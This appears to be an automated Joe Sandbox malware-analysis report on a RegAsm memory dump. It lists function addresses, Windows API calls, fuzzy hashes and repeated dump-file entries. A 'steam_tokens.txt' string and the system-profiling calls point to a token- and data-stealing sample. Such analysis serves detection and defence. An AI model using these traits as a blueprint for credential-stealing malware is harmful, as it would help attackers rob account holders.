Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$Process$Alloc$wsprintf$NameOpenlstrcpy$InformationLocal$CapsCloseCreateCurrentDeviceEnumHandleInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$ComputerDefaultDevicesDirectoryDisplayErrorFileFirstFreeGlobalLastLogicalMemoryModuleNextPowerProcessorQueryReleaseSnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID:
API String ID: 2168326814-0
Opcode ID: 67238461175b16d0f559d7271cfe973b45a91833d20322d4f1dd3c489d9a2da2
Instruction ID: 920ebc2bd1264ef58e9e042ab956aee0a7d7d625442637cc145e34ec31588ac2
Opcode Fuzzy Hash: 67238461175b16d0f559d7271cfe973b45a91833d20322d4f1dd3c489d9a2da2
Instruction Fuzzy Hash: CA72A172C11018AADB19FB91DD92EEEB33CAF14314F50469FB11662051EF342BDACB69

Function 00415100 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,014FACF8,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

lstrlenA.KERNEL32(00000000,00000000,00420ACA,?,?,?,?,?,?,0041610B,?), ref: 0041512A

Strings

steam_tokens.txt, xrefs: 0041513F

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: 90d951ad21855e740731337b552063bf12abdc695662d06ca1b8b15863fa6e7c
Instruction ID: 0b443913f8ff21268bbca5da4ddd77cab48c5630089faae76e13a1e44d6df956
Opcode Fuzzy Hash: 90d951ad21855e740731337b552063bf12abdc695662d06ca1b8b15863fa6e7c
Instruction Fuzzy Hash: E4F06D3194110866CB04F7B2EC539ED733C9F50358F80416EB413620D2EF3C675AC6AA

Function 00417ED0 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00420E2C), ref: 00417F00
wsprintfA.USER32 ref: 00417F16

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: 6e48eb6c373aebad151474fa646ebf8a74f2430de7cecad2b643f906b25ca64a
Instruction ID: 2fbe6902627a031950d7a3fa851ef95510e90209490a35db063d7eb50f57f6da
Opcode Fuzzy Hash: 6e48eb6c373aebad151474fa646ebf8a74f2430de7cecad2b643f906b25ca64a
Instruction Fuzzy Hash: 53F0F6B5A44218FBC710CF84DC45FEAF7BCF744710F50066AF50592280D37929408BD5

Function 0040B4F0 Relevance: 2.9, APIs: 2, Instructions: 397stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00409E10: memcmp.MSVCRT(?,v20,00000003), ref: 00409E2D

lstrlenA.KERNEL32(00000000), ref: 0040B9C2
lstrlenA.KERNEL32(00000000), ref: 0040B9D6

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$memcmp
String ID:
API String ID: 3457870978-0
Opcode ID: c2dc4afb35a879fc0b70174ab8d9775e4f502b4a9f8844f1bbf0cb2c0b9d0ec5
Instruction ID: 4e9d2fdd6b59a5819e0b0cc177d60c70936eaf215788bcf9b06e28604354d71c
Opcode Fuzzy Hash: c2dc4afb35a879fc0b70174ab8d9775e4f502b4a9f8844f1bbf0cb2c0b9d0ec5
Instruction Fuzzy Hash: EEE133729111189BDB04FBA1CD92EEE7339AF14314F40456EF50672091EF386B9ACB7A

Function 0040AEF0 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

lstrlenA.KERNEL32(00000000), ref: 0040B16A
lstrlenA.KERNEL32(00000000), ref: 0040B17E

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 7196fd1d7fdf7034ddb2e375c3baa252de905fd29263ed2394349883f6641c50
Instruction ID: e0be25968149aafb42a348446a4bf8d1b8c1be94a7ef2c7b8365e7541d0fe6a1
Opcode Fuzzy Hash: 7196fd1d7fdf7034ddb2e375c3baa252de905fd29263ed2394349883f6641c50
Instruction Fuzzy Hash: D9916571911108ABDB04FBE1DD52EEE7339AF14314F40452EF507A6091EF386A99CBBA

Function 0040B230 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

lstrlenA.KERNEL32(00000000), ref: 0040B42E
lstrlenA.KERNEL32(00000000), ref: 0040B442

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 1bb70f0f7b802db361104b8de629577cdd17b6d15550e8d3a417d2542ba31408
Instruction ID: fa4c7b04dc1bb1edeb240a941fc638acc8c20e4742db631e424c44125528f59d
Opcode Fuzzy Hash: 1bb70f0f7b802db361104b8de629577cdd17b6d15550e8d3a417d2542ba31408
Instruction Fuzzy Hash: 68716271911108ABDB04FBA1DD92DEE7339BF14314F40452EF506A7091EF386A99CBAA

Function 00406660 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00406DBE,00406DBE,00003000,00000040), ref: 00406706
VirtualAlloc.KERNEL32(00000000,00406DBE,00003000,00000040), ref: 00406753

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: c88b1e9b2e88f96002d04ff86a4b027c1f96a501876601beaf0c86e361432a0f
Instruction ID: cfb135ee3c51d7510548447878d0c09a9e1e3ef004be55e97ea32f204b2e5fca
Opcode Fuzzy Hash: c88b1e9b2e88f96002d04ff86a4b027c1f96a501876601beaf0c86e361432a0f
Instruction Fuzzy Hash: B741EE74A00209EFCB44CF58C494BADBBB1FF44314F1486A9E95AAB385C735EA91CF84

Function 004010A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004,?,?,?,0040114E,?,?,00416A1C), ref: 004010B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0,?,?,?,0040114E,?,?,00416A1C), ref: 004010F7

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 8ce35272a596f1cdf5aa55b7e6bb44489e409ba54c945097ad2cb9ba566d6231
Instruction ID: e05e9ea69c75ff17789b13d2c0695db9e8f3777892ad192db41722de5b6306ee
Opcode Fuzzy Hash: 8ce35272a596f1cdf5aa55b7e6bb44489e409ba54c945097ad2cb9ba566d6231
Instruction Fuzzy Hash: F2F052B1681208BBE7109BA4AC49FABB3E8E305B14F301408F500E3380C5319E00CAA4

Function 00418D90 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,00410117,?,00000000,?,00000000,00420DAB,00420DAA), ref: 00418D9F

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: c36cdc7e8858c8a68b3969eb20504a02303c837a2aa8bea8de9441652dc409ce
Instruction ID: c33170cd47b5ddaf33f3bd529e3e9bd0b8526aec605854159e3974d419e7fdd8
Opcode Fuzzy Hash: c36cdc7e8858c8a68b3969eb20504a02303c837a2aa8bea8de9441652dc409ce
Instruction Fuzzy Hash: C0F01574C00208EBCB00EFA4E5496DDBB74EB11324F10819EE826673C0DB796A96DB89

Function 00418DE0 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 1937b3016abb1116ad25b1de693048e6b8ebbf2c452a4d5410bd6c9fe56c08f2
Instruction ID: e82dd92a107a558878b8aedbded484b2d7625ea591a662ceffa58b28bb8b597d
Opcode Fuzzy Hash: 1937b3016abb1116ad25b1de693048e6b8ebbf2c452a4d5410bd6c9fe56c08f2
Instruction Fuzzy Hash: EEE01A75A4034C7BDB91EB90CC96FEE737CDB44B11F004299BA0C5A1C0DE74AB858B91

Function 00401190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 004178E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00416A2B), ref: 00417910
Part of subcall function 004178E0: HeapAlloc.KERNEL32(00000000,?,?,?,00416A2B), ref: 00417917
Part of subcall function 004178E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0041792F

Part of subcall function 00417850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417880
